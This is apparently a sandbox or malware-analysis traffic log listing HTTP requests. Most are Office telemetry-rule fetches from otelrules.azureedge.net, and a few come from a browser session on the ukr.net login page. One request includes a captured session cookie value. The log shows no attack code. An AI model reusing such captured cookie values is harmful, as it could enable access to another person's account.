Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /login/favicon.ico HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tunnel/websocket?cv%2Faccounts=login%2F2024.10.14.0820 HTTP/1.1Host: poll0.fwdcdn.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://accounts.ukr.netSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: TGteURyvpmaW2cLaNAKEYw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
